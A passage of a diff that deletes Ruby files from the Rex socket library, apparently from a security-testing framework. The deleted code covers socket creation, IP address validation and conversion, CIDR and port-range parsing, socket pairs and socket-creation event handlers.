end
|
|
@ -1,796 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'socket'
|
||||
require 'thread'
|
||||
require 'resolv'
|
||||
require 'rex/exceptions'
|
||||
|
||||
module Rex
|
||||
|
||||
###
|
||||
#
|
||||
# Base class for all sockets.
|
||||
#
|
||||
###
|
||||
module Socket
|
||||
|
||||
module Comm
|
||||
end
|
||||
|
||||
require 'rex/socket/parameters'
|
||||
require 'rex/socket/tcp'
|
||||
require 'rex/socket/tcp_server'
|
||||
|
||||
require 'rex/socket/comm'
|
||||
require 'rex/socket/comm/local'
|
||||
|
||||
require 'rex/socket/switch_board'
|
||||
require 'rex/socket/subnet_walker'
|
||||
require 'rex/socket/range_walker'
|
||||
|
||||
##
|
||||
#
|
||||
# Factory methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Create a socket instance using the supplied parameter hash.
|
||||
#
|
||||
def self.create(opts = {})
|
||||
return create_param(Rex::Socket::Parameters.from_hash(opts))
|
||||
end
|
||||
|
||||
#
|
||||
# Create a socket using the supplied Rex::Socket::Parameter instance.
|
||||
#
|
||||
def self.create_param(param)
|
||||
return param.comm.create(param)
|
||||
end
|
||||
|
||||
#
|
||||
# Create a TCP socket using the supplied parameter hash.
|
||||
#
|
||||
def self.create_tcp(opts = {})
|
||||
return create_param(Rex::Socket::Parameters.from_hash(opts.merge('Proto' => 'tcp')))
|
||||
end
|
||||
|
||||
#
|
||||
# Create a TCP server socket using the supplied parameter hash.
|
||||
#
|
||||
def self.create_tcp_server(opts = {})
|
||||
return create_tcp(opts.merge('Server' => true))
|
||||
end
|
||||
|
||||
#
|
||||
# Create a UDP socket using the supplied parameter hash.
|
||||
#
|
||||
def self.create_udp(opts = {})
|
||||
return create_param(Rex::Socket::Parameters.from_hash(opts.merge('Proto' => 'udp')))
|
||||
end
|
||||
|
||||
#
|
||||
# Create a IP socket using the supplied parameter hash.
|
||||
#
|
||||
def self.create_ip(opts = {})
|
||||
return create_param(Rex::Socket::Parameters.from_hash(opts.merge('Proto' => 'ip')))
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Common Regular Expressions
|
||||
#
|
||||
|
||||
MATCH_IPV6 = /^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*$/
|
||||
|
||||
MATCH_IPV4 = /^\s*(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))\s*$/
|
||||
|
||||
MATCH_IPV4_PRIVATE = /^\s*(?:10\.|192\.168|172.(?:1[6-9]|2[0-9]|3[01])\.|169\.254)/
|
||||
|
||||
##
|
||||
#
|
||||
# Serialization
|
||||
#
|
||||
##
|
||||
|
||||
|
||||
# Cache our IPv6 support flag
|
||||
@@support_ipv6 = nil
|
||||
|
||||
#
|
||||
# Determine whether we support IPv6
|
||||
#
|
||||
def self.support_ipv6?
|
||||
return @@support_ipv6 if not @@support_ipv6.nil?
|
||||
|
||||
@@support_ipv6 = false
|
||||
|
||||
if (::Socket.const_defined?('AF_INET6'))
|
||||
begin
|
||||
s = ::Socket.new(::Socket::AF_INET6, ::Socket::SOCK_DGRAM, ::Socket::IPPROTO_UDP)
|
||||
s.close
|
||||
@@support_ipv6 = true
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
return @@support_ipv6
|
||||
end
|
||||
|
||||
#
|
||||
# Determine whether this is an IPv4 address
|
||||
#
|
||||
def self.is_ipv4?(addr)
|
||||
( addr =~ MATCH_IPV4 ) ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Determine whether this is an IPv6 address
|
||||
#
|
||||
def self.is_ipv6?(addr)
|
||||
( addr =~ MATCH_IPV6 ) ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Checks to see if the supplied address is in "dotted" form
|
||||
#
|
||||
def self.dotted_ip?(addr)
|
||||
# Match IPv6
|
||||
return true if (support_ipv6? and addr =~ MATCH_IPV6)
|
||||
|
||||
# Match IPv4
|
||||
return true if (addr =~ MATCH_IPV4)
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Return true if +addr+ is within the ranges specified in RFC1918, or
|
||||
# RFC5735/RFC3927
|
||||
#
|
||||
def self.is_internal?(addr)
|
||||
if self.dotted_ip?(addr)
|
||||
addr =~ MATCH_IPV4_PRIVATE
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Get the first address returned by a DNS lookup for +hostname+.
|
||||
#
|
||||
# @see .getaddresses
|
||||
#
|
||||
# @param (see .getaddresses)
|
||||
# @return [String] ASCII IP address
|
||||
def self.getaddress(hostname, accept_ipv6 = true)
|
||||
getaddresses(hostname, accept_ipv6).first
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper for +::Socket.gethostbyname+ that takes special care to see if the
|
||||
# supplied address is already an ASCII IP address. This is necessary to
|
||||
# prevent blocking while waiting on a DNS reverse lookup when we already
|
||||
# have what we need.
|
||||
#
|
||||
# @param hostname [String] A hostname or ASCII IP address
|
||||
# @return [Array<String>]
|
||||
def self.getaddresses(hostname, accept_ipv6 = true)
|
||||
if hostname =~ MATCH_IPV4 or (accept_ipv6 and hostname =~ MATCH_IPV6)
|
||||
return [hostname]
|
||||
end
|
||||
|
||||
res = ::Socket.gethostbyname(hostname)
|
||||
return [] if not res
|
||||
|
||||
# Shift the first three elements out, leaving just the list of
|
||||
# addresses
|
||||
res.shift # name
|
||||
res.shift # alias hostnames
|
||||
res.shift # address_family
|
||||
|
||||
# Rubinius has a bug where gethostbyname returns dotted quads instead of
|
||||
# NBO, but that's what we want anyway, so just short-circuit here.
|
||||
if res[0] =~ MATCH_IPV4 || res[0] =~ MATCH_IPV6
|
||||
unless accept_ipv6
|
||||
res.reject!{ |ascii| ascii =~ MATCH_IPV6 }
|
||||
end
|
||||
else
|
||||
unless accept_ipv6
|
||||
res.reject!{ |nbo| nbo.length != 4 }
|
||||
end
|
||||
res.map!{ |nbo| self.addr_ntoa(nbo) }
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper for Socket.gethostbyname which takes into account whether or not
|
||||
# an IP address is supplied. If it is, then reverse DNS resolution does
|
||||
# not occur. This is done in order to prevent delays, such as would occur
|
||||
# on Windows.
|
||||
#
|
||||
def self.gethostbyname(host)
|
||||
if (is_ipv4?(host))
|
||||
return [ host, [], 2, host.split('.').map{ |c| c.to_i }.pack("C4") ]
|
||||
end
|
||||
|
||||
if is_ipv6?(host)
|
||||
# pop off the scopeid since gethostbyname isn't smart enough to
|
||||
# deal with it.
|
||||
host, _ = host.split('%', 2)
|
||||
end
|
||||
|
||||
::Socket.gethostbyname(host)
|
||||
end
|
||||
|
||||
#
|
||||
# Create a sockaddr structure using the supplied IP address, port, and
|
||||
# address family
|
||||
#
|
||||
def self.to_sockaddr(ip, port)
|
||||
|
||||
if (ip == '::ffff:0.0.0.0')
|
||||
ip = support_ipv6?() ? '::' : '0.0.0.0'
|
||||
end
|
||||
|
||||
return ::Socket.pack_sockaddr_in(port, ip)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the address family, host, and port of the supplied sockaddr as
|
||||
# [ af, host, port ]
|
||||
#
|
||||
def self.from_sockaddr(saddr)
|
||||
port, host = ::Socket::unpack_sockaddr_in(saddr)
|
||||
af = ::Socket::AF_INET
|
||||
if (support_ipv6?() and is_ipv6?(host))
|
||||
af = ::Socket::AF_INET6
|
||||
end
|
||||
return [ af, host, port ]
|
||||
end
|
||||
|
||||
#
|
||||
# Resolves a host to raw network-byte order.
|
||||
#
|
||||
def self.resolv_nbo(host)
|
||||
self.gethostbyname( Rex::Socket.getaddress(host, true) )[3]
|
||||
end
|
||||
|
||||
#
|
||||
# Resolves a host to raw network-byte order.
|
||||
#
|
||||
def self.resolv_nbo_list(host)
|
||||
Rex::Socket.getaddresses(host).map{|addr| self.gethostbyname(addr)[3] }
|
||||
end
|
||||
|
||||
#
|
||||
# Resolves a host to a network-byte order ruby integer.
|
||||
#
|
||||
def self.resolv_nbo_i(host)
|
||||
addr_ntoi(resolv_nbo(host))
|
||||
end
|
||||
|
||||
#
|
||||
# Resolves a host to a list of network-byte order ruby integers.
|
||||
#
|
||||
def self.resolv_nbo_i_list(host)
|
||||
resolv_nbo_list(host).map{|addr| addr_ntoi(addr) }
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an ASCII IP address to a CIDR mask. Returns
|
||||
# nil if it's not convertable.
|
||||
#
|
||||
def self.addr_atoc(mask)
|
||||
mask_i = resolv_nbo_i(mask)
|
||||
cidr = nil
|
||||
0.upto(32) do |i|
|
||||
if ((1 << i)-1) << (32-i) == mask_i
|
||||
cidr = i
|
||||
break
|
||||
end
|
||||
end
|
||||
return cidr
|
||||
end
|
||||
|
||||
#
|
||||
# Resolves a CIDR bitmask into a dotted-quad. Returns
|
||||
# nil if it's not convertable.
|
||||
#
|
||||
def self.addr_ctoa(cidr)
|
||||
return nil unless (0..32) === cidr.to_i
|
||||
addr_itoa(((1 << cidr)-1) << 32-cidr)
|
||||
end
|
||||
|
||||
#
|
||||
# Resolves a host to a dotted address.
|
||||
#
|
||||
def self.resolv_to_dotted(host)
|
||||
addr_ntoa(addr_aton(host))
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a ascii address into an integer
|
||||
#
|
||||
def self.addr_atoi(addr)
|
||||
resolv_nbo_i(addr)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a ascii address into a list of addresses
|
||||
#
|
||||
def self.addr_atoi_list(addr)
|
||||
resolv_nbo_i_list(addr)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an integer address into ascii
|
||||
#
|
||||
# @param (see #addr_iton)
|
||||
# @return (see #addr_ntoa)
|
||||
def self.addr_itoa(addr, v6=false)
|
||||
nboa = addr_iton(addr, v6)
|
||||
|
||||
addr_ntoa(nboa)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a ascii address to network byte order
|
||||
#
|
||||
def self.addr_aton(addr)
|
||||
resolv_nbo(addr)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a network byte order address to ascii
|
||||
#
|
||||
# @param addr [String] Packed network-byte-order address
|
||||
# @return [String] Human readable IP address.
|
||||
def self.addr_ntoa(addr)
|
||||
# IPv4
|
||||
if (addr.length == 4)
|
||||
return addr.unpack('C4').join('.')
|
||||
end
|
||||
|
||||
# IPv6
|
||||
if (addr.length == 16)
|
||||
return compress_address(addr.unpack('n8').map{ |c| "%x" % c }.join(":"))
|
||||
end
|
||||
|
||||
raise RuntimeError, "Invalid address format"
|
||||
end
|
||||
|
||||
#
|
||||
# Implement zero compression for IPv6 addresses.
|
||||
# Uses the compression method from Marco Ceresa's IPAddress GEM
|
||||
#
|
||||
# @see https://github.com/bluemonk/ipaddress/blob/master/lib/ipaddress/ipv6.rb
|
||||
#
|
||||
# @param addr [String] Human readable IPv6 address
|
||||
# @return [String] Human readable IPv6 address with runs of 0s removed
|
||||
def self.compress_address(addr)
|
||||
return addr unless is_ipv6?(addr)
|
||||
addr = addr.dup
|
||||
while true
|
||||
break if addr.sub!(/\A0:0:0:0:0:0:0:0\Z/, '::')
|
||||
break if addr.sub!(/\b0:0:0:0:0:0:0\b/, ':')
|
||||
break if addr.sub!(/\b0:0:0:0:0:0\b/, ':')
|
||||
break if addr.sub!(/\b0:0:0:0:0\b/, ':')
|
||||
break if addr.sub!(/\b0:0:0:0\b/, ':')
|
||||
break if addr.sub!(/\b0:0:0\b/, ':')
|
||||
break if addr.sub!(/\b0:0\b/, ':')
|
||||
break
|
||||
end
|
||||
addr.sub(/:{3,}/, '::')
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a network byte order address to an integer
|
||||
#
|
||||
def self.addr_ntoi(addr)
|
||||
|
||||
bits = addr.unpack("N*")
|
||||
|
||||
if (bits.length == 1)
|
||||
return bits[0]
|
||||
end
|
||||
|
||||
if (bits.length == 4)
|
||||
val = 0
|
||||
bits.each_index { |i| val += ( bits[i] << (96 - (i * 32)) ) }
|
||||
return val
|
||||
end
|
||||
|
||||
raise RuntimeError, "Invalid address format"
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an integer into a network byte order address
|
||||
#
|
||||
# @param addr [Numeric] The address as a number
|
||||
# @param v6 [Boolean] Whether +addr+ is IPv6
|
||||
def self.addr_iton(addr, v6=false)
|
||||
if(addr < 0x100000000 && !v6)
|
||||
return [addr].pack('N')
|
||||
else
|
||||
w = []
|
||||
w[0] = (addr >> 96) & 0xffffffff
|
||||
w[1] = (addr >> 64) & 0xffffffff
|
||||
w[2] = (addr >> 32) & 0xffffffff
|
||||
w[3] = addr & 0xffffffff
|
||||
return w.pack('N4')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a colon-delimited MAC address into a 6-byte binary string
|
||||
#
|
||||
def self.eth_aton(mac)
|
||||
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a 6-byte binary string into a colon-delimited MAC address
|
||||
#
|
||||
def self.eth_ntoa(bin)
|
||||
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a CIDR subnet into an array (base, bcast)
|
||||
#
|
||||
def self.cidr_crack(cidr, v6=false)
|
||||
tmp = cidr.split('/')
|
||||
|
||||
tst,scope = tmp[0].split("%",2)
|
||||
scope = "%" + scope if scope
|
||||
scope ||= ""
|
||||
|
||||
addr = addr_atoi(tst)
|
||||
|
||||
bits = 32
|
||||
mask = 0
|
||||
use6 = false
|
||||
|
||||
if (addr > 0xffffffff or v6 or cidr =~ /:/)
|
||||
use6 = true
|
||||
bits = 128
|
||||
end
|
||||
|
||||
mask = (2 ** bits) - (2 ** (bits - tmp[1].to_i))
|
||||
base = addr & mask
|
||||
|
||||
stop = base + (2 ** (bits - tmp[1].to_i)) - 1
|
||||
return [self.addr_itoa(base, use6) + scope, self.addr_itoa(stop, use6) + scope]
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a netmask (255.255.255.240) into a bitmask (28). This is the
|
||||
# lame kid way of doing it.
|
||||
#
|
||||
def self.net2bitmask(netmask)
|
||||
|
||||
nmask = resolv_nbo(netmask)
|
||||
imask = addr_ntoi(nmask)
|
||||
bits = 32
|
||||
|
||||
if (imask > 0xffffffff)
|
||||
bits = 128
|
||||
end
|
||||
|
||||
0.upto(bits-1) do |bit|
|
||||
p = 2 ** bit
|
||||
return (bits - bit) if ((imask & p) == p)
|
||||
end
|
||||
|
||||
0
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a bitmask (28) into a netmask (255.255.255.240)
|
||||
#
|
||||
def self.bit2netmask(bitmask, ipv6=false)
|
||||
if bitmask > 32 or ipv6
|
||||
i = ((~((2 ** (128 - bitmask)) - 1)) & (2**128-1))
|
||||
n = Rex::Socket.addr_iton(i, true)
|
||||
return Rex::Socket.addr_ntoa(n)
|
||||
else
|
||||
[ (~((2 ** (32 - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def self.portspec_crack(pspec)
|
||||
portspec_to_portlist(pspec)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a port specification like "80,21-25,!24,443" into a sorted,
|
||||
# unique array of valid port numbers like [21,22,23,25,80,443]
|
||||
#
|
||||
def self.portspec_to_portlist(pspec)
|
||||
ports = []
|
||||
remove = []
|
||||
|
||||
# Build ports array from port specification
|
||||
pspec.split(/,/).each do |item|
|
||||
target = ports
|
||||
|
||||
item.strip!
|
||||
|
||||
if item.start_with? '!'
|
||||
item.delete! '!'
|
||||
target = remove
|
||||
end
|
||||
|
||||
start, stop = item.split(/-/).map { |p| p.to_i }
|
||||
|
||||
start ||= 0
|
||||
stop ||= item.match(/-/) ? 65535 : start
|
||||
|
||||
start, stop = stop, start if stop < start
|
||||
|
||||
start.upto(stop) { |p| target << p }
|
||||
end
|
||||
|
||||
if ports.empty? and not remove.empty? then
|
||||
ports = 1.upto 65535
|
||||
end
|
||||
|
||||
# Sort, and remove dups and invalid ports
|
||||
ports.sort.uniq.delete_if { |p| p < 1 or p > 65535 or remove.include? p }
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a port list like [1,2,3,4,5,100] into a
|
||||
# range specification like "1-5,100"
|
||||
#
|
||||
def self.portlist_to_portspec(parr)
|
||||
ranges = []
|
||||
range = []
|
||||
lastp = nil
|
||||
|
||||
parr.uniq.sort{|a,b| a<=>b}.map{|a| a.to_i}.each do |n|
|
||||
next if (n < 1 or n > 65535)
|
||||
if not lastp
|
||||
range = [n]
|
||||
lastp = n
|
||||
next
|
||||
end
|
||||
|
||||
if lastp == n - 1
|
||||
range << n
|
||||
else
|
||||
ranges << range
|
||||
range = [n]
|
||||
end
|
||||
lastp = n
|
||||
end
|
||||
|
||||
ranges << range
|
||||
ranges.delete(nil)
|
||||
ranges.uniq.map{|x| x.length == 1 ? "#{x[0]}" : "#{x[0]}-#{x[-1]}"}.join(",")
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Utility class methods
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# This method does NOT send any traffic to the destination, instead, it uses a
|
||||
# "bound" UDP socket to determine what source address we would use to
|
||||
# communicate with the specified destination. The destination defaults to
|
||||
# Google's DNS server to make the standard behavior determine which IP
|
||||
# we would use to communicate with the internet.
|
||||
#
|
||||
def self.source_address(dest='8.8.8.8', comm = ::Rex::Socket::Comm::Local)
|
||||
begin
|
||||
s = self.create_udp(
|
||||
'PeerHost' => dest,
|
||||
'PeerPort' => 31337,
|
||||
'Comm' => comm
|
||||
)
|
||||
r = s.getsockname[1]
|
||||
s.close
|
||||
|
||||
# Trim off the trailing interface ID for link-local IPv6
|
||||
return r.split('%').first
|
||||
rescue ::Exception
|
||||
return '127.0.0.1'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Identifies the link-local address of a given interface (if IPv6 is enabled)
|
||||
#
|
||||
def self.ipv6_link_address(intf)
|
||||
r = source_address("FF02::1%#{intf}")
|
||||
return nil if r.nil? || r !~ /^fe80/i
|
||||
r
|
||||
end
|
||||
|
||||
#
|
||||
# Identifies the mac address of a given interface (if IPv6 is enabled)
|
||||
#
|
||||
def self.ipv6_mac(intf)
|
||||
r = ipv6_link_address(intf)
|
||||
return if not r
|
||||
raw = addr_aton(r)[-8, 8]
|
||||
(raw[0,3] + raw[5,3]).unpack("C*").map{|c| "%.2x" % c}.join(":")
|
||||
end
|
||||
|
||||
#
|
||||
# Create a TCP socket pair.
|
||||
#
|
||||
# sf: This create a socket pair using native ruby sockets and will work
|
||||
# on Windows where ::Socket.pair is not implemented.
|
||||
# Note: OpenSSL requires native ruby sockets for its io.
|
||||
#
|
||||
# Note: Even though sub-threads are smashing the parent threads local, there
|
||||
# is no concurrent use of the same locals and this is safe.
|
||||
def self.tcp_socket_pair
|
||||
lsock = nil
|
||||
rsock = nil
|
||||
laddr = '127.0.0.1'
|
||||
lport = 0
|
||||
threads = []
|
||||
mutex = ::Mutex.new
|
||||
|
||||
threads << Rex::ThreadFactory.spawn('TcpSocketPair', false) {
|
||||
server = nil
|
||||
mutex.synchronize {
|
||||
threads << Rex::ThreadFactory.spawn('TcpSocketPairClient', false) {
|
||||
mutex.synchronize {
|
||||
rsock = ::TCPSocket.new( laddr, lport )
|
||||
}
|
||||
}
|
||||
server = ::TCPServer.new(laddr, 0)
|
||||
if (server.getsockname =~ /127\.0\.0\.1:/)
|
||||
# JRuby ridiculousness
|
||||
caddr, lport = server.getsockname.split(":")
|
||||
caddr = caddr[1,caddr.length]
|
||||
lport = lport.to_i
|
||||
else
|
||||
# Sane implementations where Socket#getsockname returns a
|
||||
# sockaddr
|
||||
lport, caddr = ::Socket.unpack_sockaddr_in( server.getsockname )
|
||||
end
|
||||
}
|
||||
lsock, _ = server.accept
|
||||
server.close
|
||||
}
|
||||
|
||||
threads.each { |t| t.join }
|
||||
|
||||
return [lsock, rsock]
|
||||
end
|
||||
|
||||
#
|
||||
# Create a UDP socket pair using native ruby UDP sockets.
|
||||
#
|
||||
def self.udp_socket_pair
|
||||
laddr = '127.0.0.1'
|
||||
|
||||
lsock = ::UDPSocket.new
|
||||
lsock.bind( laddr, 0 )
|
||||
|
||||
rsock = ::UDPSocket.new
|
||||
rsock.bind( laddr, 0 )
|
||||
|
||||
rsock.connect( *lsock.addr.values_at(3,1) )
|
||||
|
||||
lsock.connect( *rsock.addr.values_at(3,1) )
|
||||
|
||||
return [lsock, rsock]
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Class initialization
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Initialize general socket parameters.
|
||||
#
|
||||
def initsock(params = nil)
|
||||
if (params)
|
||||
self.peerhost = params.peerhost
|
||||
self.peerport = params.peerport
|
||||
self.localhost = params.localhost
|
||||
self.localport = params.localport
|
||||
self.context = params.context || {}
|
||||
self.ipv = params.v6 ? 6 : 4
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# By default, all sockets are themselves selectable file descriptors.
|
||||
#
|
||||
def fd
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Returns local connection information.
|
||||
#
|
||||
def getsockname
|
||||
Socket.from_sockaddr(super)
|
||||
end
|
||||
|
||||
#
|
||||
# Wrapper around getsockname
|
||||
#
|
||||
def getlocalname
|
||||
getsockname
|
||||
end
|
||||
|
||||
#
|
||||
# Return peer connection information.
|
||||
#
|
||||
def getpeername_as_array
|
||||
peer_name = nil
|
||||
begin
|
||||
peer_name = Socket.from_sockaddr(self.getpeername)
|
||||
rescue ::Errno::EINVAL => e
|
||||
# Ruby's getpeername method may call rb_sys_fail("getpeername(2)")
|
||||
elog("#{e.message} (#{e.class})#{e.backtrace * "\n"}\n", 'core', LEV_3)
|
||||
end
|
||||
|
||||
return peer_name
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string that indicates the type of the socket, such as 'tcp'.
|
||||
#
|
||||
def type?
|
||||
raise NotImplementedError, "Socket type is not supported."
|
||||
end
|
||||
|
||||
#
|
||||
# The peer host of the connected socket.
|
||||
#
|
||||
attr_reader :peerhost
|
||||
#
|
||||
# The peer port of the connected socket.
|
||||
#
|
||||
attr_reader :peerport
|
||||
#
|
||||
# The local host of the connected socket.
|
||||
#
|
||||
attr_reader :localhost
|
||||
#
|
||||
# The local port of the connected socket.
|
||||
#
|
||||
attr_reader :localport
|
||||
#
|
||||
# The IP version of the socket
|
||||
#
|
||||
attr_reader :ipv
|
||||
#
|
||||
# Contextual information that describes the source and other
|
||||
# instance-specific attributes. This comes from the param.context
|
||||
# attribute.
|
||||
#
|
||||
attr_reader :context
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :peerhost, :peerport, :localhost, :localport # :nodoc:
|
||||
attr_writer :context # :nodoc:
|
||||
attr_writer :ipv # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Globalized socket constants
|
||||
#
|
||||
SHUT_RDWR = ::Socket::SHUT_RDWR
|
||||
SHUT_RD = ::Socket::SHUT_RD
|
||||
SHUT_WR = ::Socket::SHUT_WR
|
||||
|
|
@ -1,120 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Socket
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides the basic interface that a derived class must implement
|
||||
# in order to be a compatible comm class. The base comm class also supports
|
||||
# registering event handlers that can be notified when sockets are being
|
||||
# created and have been created. This allows code to extend sockets on
|
||||
# creation from the single point that they are created.
|
||||
#
|
||||
###
|
||||
module Comm
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides stubs for event notification handlers that can be
|
||||
# registered with a Comm factory to be called when various events occur,
|
||||
# such as socket instantiation.
|
||||
#
|
||||
###
|
||||
module Events
|
||||
|
||||
#
|
||||
# This callback is notified when a socket is being created and is passed
|
||||
# the parameters that will be used to create it.
|
||||
#
|
||||
def on_before_socket_create(comm, param)
|
||||
end
|
||||
|
||||
#
|
||||
# This callback is notified when a new socket is created and the
|
||||
# parameters that were used to create it. This provides the callback
|
||||
# with a chance to extend or otherwise modify the socket before it's
|
||||
# passed on to the actual requestor.
|
||||
#
|
||||
def on_socket_created(comm, sock, param)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a compatible socket based on the supplied uniform parameters.
|
||||
#
|
||||
def self.create(param)
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
#
|
||||
# Indicates whether or not this comm can be chained with other chainable
|
||||
# comms. This is particularly important for things like Proxy Comms that
|
||||
# can be proxied through one another. The semantics of this are currently
|
||||
# undefined and will probably need some more thought.
|
||||
#
|
||||
def chainable?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Registers an event handler that implements the Rex::Socket::Comm::Event
|
||||
# interface in at least some fashion. Event handlers are notified when
|
||||
# sockets are created through the Comm instance that they register against.
|
||||
#
|
||||
def register_event_handler(handler)
|
||||
if (handlers == nil)
|
||||
self.handlers = []
|
||||
end
|
||||
|
||||
self.handlers << handler
|
||||
end
|
||||
|
||||
#
|
||||
# Deregisters a previously registered event handler.
|
||||
#
|
||||
def deregister_event_handler(handler)
|
||||
if (handlers)
|
||||
handlers.delete(handler)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Enumerates each registered event handler so that they can be notified of
|
||||
# an event.
|
||||
#
|
||||
def each_event_handler(&block)
|
||||
if (handlers)
|
||||
handlers.each(&block)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Notifies handlers of the before socket create event.
|
||||
#
|
||||
def notify_before_socket_create(comm, param)
|
||||
each_event_handler() { |handler|
|
||||
handler.on_before_socket_create(comm, param)
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Notifies handlers of the socket created event.
|
||||
#
|
||||
def notify_socket_created(comm, sock, param)
|
||||
each_event_handler() { |handler|
|
||||
handler.on_socket_created(comm, sock, param)
|
||||
}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :handlers # :nodoc:
|
||||
attr_accessor :handlers_rwlock # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,529 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'singleton'
|
||||
require 'rex/socket'
|
||||
require 'rex/socket/tcp'
|
||||
require 'rex/socket/ssl_tcp'
|
||||
require 'rex/socket/ssl_tcp_server'
|
||||
require 'rex/socket/udp'
|
||||
require 'rex/socket/ip'
|
||||
require 'timeout'
|
||||
|
||||
###
|
||||
#
|
||||
# Local communication class factory.
|
||||
#
|
||||
###
|
||||
class Rex::Socket::Comm::Local
|
||||
|
||||
include Singleton
|
||||
include Rex::Socket::Comm
|
||||
|
||||
#
|
||||
# Creates an instance of a socket using the supplied parameters.
|
||||
#
|
||||
def self.create(param)
|
||||
|
||||
# Work around jRuby socket implementation issues
|
||||
if(RUBY_PLATFORM == 'java')
|
||||
return self.create_jruby(param)
|
||||
end
|
||||
|
||||
case param.proto
|
||||
when 'tcp'
|
||||
return create_by_type(param, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
|
||||
when 'udp'
|
||||
return create_by_type(param, ::Socket::SOCK_DGRAM, ::Socket::IPPROTO_UDP)
|
||||
when 'ip'
|
||||
return create_ip(param)
|
||||
else
|
||||
raise Rex::UnsupportedProtocol.new(param.proto), caller
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
